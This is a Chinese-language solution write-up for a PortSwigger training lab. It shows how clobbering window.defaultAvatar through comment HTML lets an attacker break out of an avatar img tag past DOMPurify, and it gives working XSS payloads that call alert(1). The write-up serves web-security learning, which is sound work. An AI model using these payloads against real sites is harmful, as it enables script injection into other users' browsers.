Exploiting DOM clobbering to enable XSS 题解
这是大名鼎鼎的 PortSwigger 提供的教程里的一道题, 难度为 EXPERT
https://portswigger.net/web-security/dom-based/dom-clobbering
调用到 alert()
就是过关
分析代码
进去之后随便点进一个文章, 下面有评论, 查看代码:
function loadComments(postCommentPath) {
let xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
let comments = JSON.parse(this.responseText);
displayComments(comments);
}
};
xhr.open("GET", postCommentPath + window.location.search);
xhr.send();
function escapeHTML(data) {
return data.replace(/[<>'"]/g, function(c){
return '&#' + c.charCodeAt(0) + ';';
})
}
function displayComments(comments) {
let userComments = document.getElementById("user-comments");
for (let i = 0; i < comments.length; ++i)
{
comment = comments[i];
let commentSection = document.createElement("section");
commentSection.setAttribute("class", "comment");
let firstPElement = document.createElement("p");
let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';
let divImgContainer = document.createElement("div");
divImgContainer.innerHTML = avatarImgHTML
if (comment.author) {
if (comment.website) {
let websiteElement = document.createElement("a");
websiteElement.setAttribute("id", "author");
websiteElement.setAttribute("href", comment.website);
firstPElement.appendChild(websiteElement)
}
let newInnerHtml = firstPElement.innerHTML + DOMPurify.sanitize(comment.author)
firstPElement.innerHTML = newInnerHtml
}
if (comment.date) {
let dateObj = new Date(comment.date)
let month = '' + (dateObj.getMonth() + 1);
let day = '' + dateObj.getDate();
let year = dateObj.getFullYear();
if (month.length < 2)
month = '0' + month;
if (day.length < 2)
day = '0' + day;
dateStr = [day, month, year].join('-');
let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
firstPElement.innerHTML = newInnerHtml
}
firstPElement.appendChild(divImgContainer);
commentSection.appendChild(firstPElement);
if (comment.body) {
let commentBodyPElement = document.createElement("p");
commentBodyPElement.innerHTML = DOMPurify.sanitize(comment.body);
commentSection.appendChild(commentBodyPElement);
}
commentSection.appendChild(document.createElement("p"));
userComments.appendChild(commentSection);
}
}
};
看到其中用了 DOMPurify, 大概会用到 tel, cid 协议绕过
其中有一个函数:
function escapeHTML(data) {
return data.replace(/[<>'"]/g, function(c){
return '&#' + c.charCodeAt(0) + ';';
})
}
这个对符号进行了一些处理, 假设我们传 "
会发生什么?
"
的 ascii 码 10 进制是 34, c.charCodeAt(0)
也就返回了 34
, 最会返回下面:
return '&#' + 34 + ';'
// "
这函数在此处有一次调用:
let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';
他的本意是防止被 "
等符号闭合等等
后面插入 html 的时候都调用了 DOMPurify.sanitize()
进行处理
我们可以从评论有什么入手, 评论可以提交作者, 内容, 邮箱, 网站, 然后会展示名字, 内容, 还有头像
从上面的代码中看如何插入内容, 发现插入头像的代码有问题:
let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';
插入头像的代码并没有用框架而是只有一个 escapeHTML(comment.avatar)
这里 defaultAvatar
的值取决于当前 window
下有没有这个变量, 这意味着我们可以覆盖这个变量
由于 avatarImgHTML
是以拼接出来的, 意味着我们可以构造类似: c"onerror=...
这样的字符串来执行 alert
那么要怎么构造出字符串?
实际上某些标签, 比如 <a>
在 toStirng
的时候会返回其 href
属性中的值, 也就是说我们可以通过让其拼接<a href=....>
那么现在的关键就是如何让他拼接一个 <a>
标签, 我们看下面的表达式:
(comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar)
这里的三元表达式肯定肯定会取 defaultAvatar.avatar
, 因为 comment.avatar
一定是一个 ''
我们并没有在评论中上传图片, js 中 empty 也是 false
, 所以我们就需要让 defaultAvatar.avatar
变成一个 <a>
标签. 同时这里也分析出了上面的 escapeHTML()
根本没用
这里就利用到了一个 DOM 构建时的特性, 如果有两个相同 id
的标签, 会将它们放入一个集合, 这个集合可以用 0 这种下标来访问, 关键的是还可以用标签有的 name
属性或是 id
属性作为键来访问
那么我们就可以使用以下的方式来让其获取到 href
中的内容:
<a id=defaultAvatar><a id=defaultAvatar name=avatar href=....>
那我们构造的内容输入在哪里? 什么时候被插入? 怎么插入?
name 有长度限制, 那只能在评论内容上做手脚了, 评论的内容最终会通过 comment.body
获取, 然后在最后作用 userComment
的子 <p>
标签元素插入:
if (comment.body) {
let commentBodyPElement = document.createElement("p");
commentBodyPElement.innerHTML = DOMPurify.sanitize(comment.body);
commentSection.appendChild(commentBodyPElement);
}
commentSection.appendChild(document.createElement("p"));
userComments.appendChild(commentSection);
可以看到 comment.body
使用了 DOMPurify.sanitize
进行处理
构造 payload
现在我们就只需要写好 href
中的值就好了, 我们可以尝试这样:
<a id=defaultAvatar><a id=defaultAvatar name=avatar href='"onerror=alert(1)//'>
在 Comment 输入框中填入这段内容, 你会发现并没有任何反映, 头像也是正常的, 并没有按我们预期的一样变成 href
的内容
这时再随意评论一条, 就会发现, 头像确实变成了我们想要的内容, 但不完全是, 因为还是弹出不了, 看看源码你就会发现:
<img class="avatar" src="https://0aa900c5037c5c6687a79a75001b001f.web-security-academy.net/%22onerror=alert(1)//">
我们的 "
居然变成了 %22, 导致无法逃逸了
这里的原因就是我们的 href
中没有加协议头, 这里的原因就是我们的 href
中没有加协议头, 我们可以翻看 html 的规范, 以下是官方文档:
The
href
attribute ona
andarea
elements must have a value that is a valid URL potentially surrounded by spaces.
首先 href
中的值必须是一个有效的 url, 我们上面的 url 并不是
那如果是无效的该怎么处理? 详细规则在这里: https://url.spec.whatwg.org/#concept-url-parser
注意看下面的第 2 个 第 5 条:
- If url is not given:
- Set url to a new URL.
- If input contains any leading or trailing C0 control or space, invalid-URL-unit validation error.
- Remove any leading and trailing C0 control or space from input.
- If input contains any ASCII tab or newline, invalid-URL-unit validation error.
- Remove all ASCII tab or newline from input.
- Let state be state override if given, or scheme start state otherwise.
- Set encoding to the result of getting an output encoding from encoding.
......
......
这里说: 如果有 invalid-URL-unit 进行一系列操作, 最终会将其编码, ......
那么什么是 invalid-URL-unit 可以点击上面的超链接详细看, 以下这些就是:
"https://example.org/>"
" https://example.org "
"ht
tps://example.org"
"https://example.org/%s"
我们在 href
中填写的内容刚好就符合, 所以被编码了并且加上了一串地址
加上 DOMPurify 白名单中的协议头就可以了:
<a id=defaultAvatar><a id=defaultAvatar name=avatar href='tel:"onerror=alert(1)//'>
实际上这里也不用加协议头, 加 //
也可以:
<a id=defaultAvatar><a id=defaultAvatar name=avatar href='//"onerror=alert(1)//'>
这个会自动补协议名, 在这里他会补全为: http://"onerror=alert(1)//
, 具体规则也在上面
那么最后还有一个问题你可能会疑惑: 为什么要评论两次?
这个问题很简单, 看代码你就会发现, 评论内容插入 html 是在最后进行的要晚于构造 <img>
标签, 所以需要第二次评论